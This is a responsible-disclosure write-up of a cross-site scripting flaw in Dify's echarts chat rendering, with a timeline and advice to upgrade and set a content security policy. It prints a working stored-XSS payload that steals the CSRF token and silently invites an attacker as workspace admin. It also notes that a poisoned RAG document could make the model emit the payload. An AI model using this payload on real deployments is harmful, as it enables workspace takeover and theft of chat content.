XSS in Dify could lead to Workspace Takeover¶
In Dify, I found a cross site scripting vulnerability (XSS) in the web application chat frontend when using echarts. User or llm inputs containing echarts with a specific javascript payload are executed. This vulnerability was only present in self-hosted applications using a blank Content Security Policy (CSP).
Upgrade to newest version (>= 1.13.0) and setup a CSP to mitigate this vulnerability. CVE-2026-26023 has been assigned.
This vulnerability could lead to workspace takeover when a workspace owner inspects chat logs. This is explained in following post.
TL;DR
XSS in Chat Frontend¶
When using Dify frontend in the chat application, different code blocks can be rendered such as markdown, echarts...
During rendering of echarts, the Dify frontend would execute arbitrary javascript code inside the echarts block.
Problematic code is in web/app/components/base/markdown-blocks/code-block.tsx:208 and web/app/components/base/markdown-blocks/code-block.tsx:253 (note the linter instruction to ignore the warning):
try {
// eslint-disable-next-line no-new-func, sonarjs/code-eval
const result = new Function(`return ${trimmedContent}`)()
Code inside new Function() is executed as immediately-invoked function expression (IIFE).
For example, when a user types following payload in the chat box:
```echarts
({
title: { text: 'Test XSS' },
series: [],
_x: (() => {
alert('Hello');
return 1;
})()
})

Javascript is immediately executed:

This is just a harmless self-XSS, but it can escalate to a more dangerous stored-XSS.
Workspace Takeover via stored XSS¶
In Dify, user chats are logged, so that workspace owners can analyse them. The previous user chat is logged and the harmless self-XSS becomes a stored-XSS.
A workspace owner can access the logs:

In the context of the worspace owner, authorization cookies are available. Since authorization cookies are http-only, it's not possible to exfiltrate them. However, an attacker can send an authorized request to the backend.
In Dify, new workspace users can be invited to the workspace via email using the /api/workspaces/current/members/invite-email API endpoint with a POST request containing the email and permission of the new workspace user invited:

A temporary code is sent to the new user:

The new workspace user can create a new account and will be granted permission to access the workspace (up to admin).
By exploiting the stored-XSS, an attacker can use a javascriptt payload in the chat application, which sends a request to add a new admin via email. When the workspace owner clicks on the chat log, the payload is executed and an email is silently sent to the attacker.
Following payload can be used (note that the CSRF token has to be sent, this token is not http-only):
```echarts
const cookieX = document.cookie
.split("; ")
.find(c => c.startsWith("csrf_token="))
?.split("=")[1] || null;
fetch("http://localhost/console/api/workspaces/current/members/invite-email", {
method: "POST",
headers: {
"Content-Type": "application/json",
"x-crsf-token": cookieX
},
credentials: "include", // sends cookies
body: JSON.stringify({
emails: ["test@test.com"],
role: "admin",
language: "en-US"
})
})
.then(res => res.json())
POST request is sent to the backend with valid cookies:

Invite mail is silently sent with the invite code (with admin permission). Attacker can now log in and control the workspace.
Note on CSP¶
In Dify, a CSP whitelist can be used via the environmental variable NEXT_PUBLIC_CSP_WHITELIST. When left blank, no CSP is applied. When a CSP is set, a new line of defense against XSS is added.
Conclusion¶
Just a simple frontend self-XSS, which could escalate to workspace takeover.
Note that this XSS could also be triggered by the LLM itself, e.g., using a poisoned RAG document. This could lead to exfiltration of the chat content.
Timeline
- 2025-12-23 : Disclosure via Github Security and email
- 2026-02-11 : Published Advisory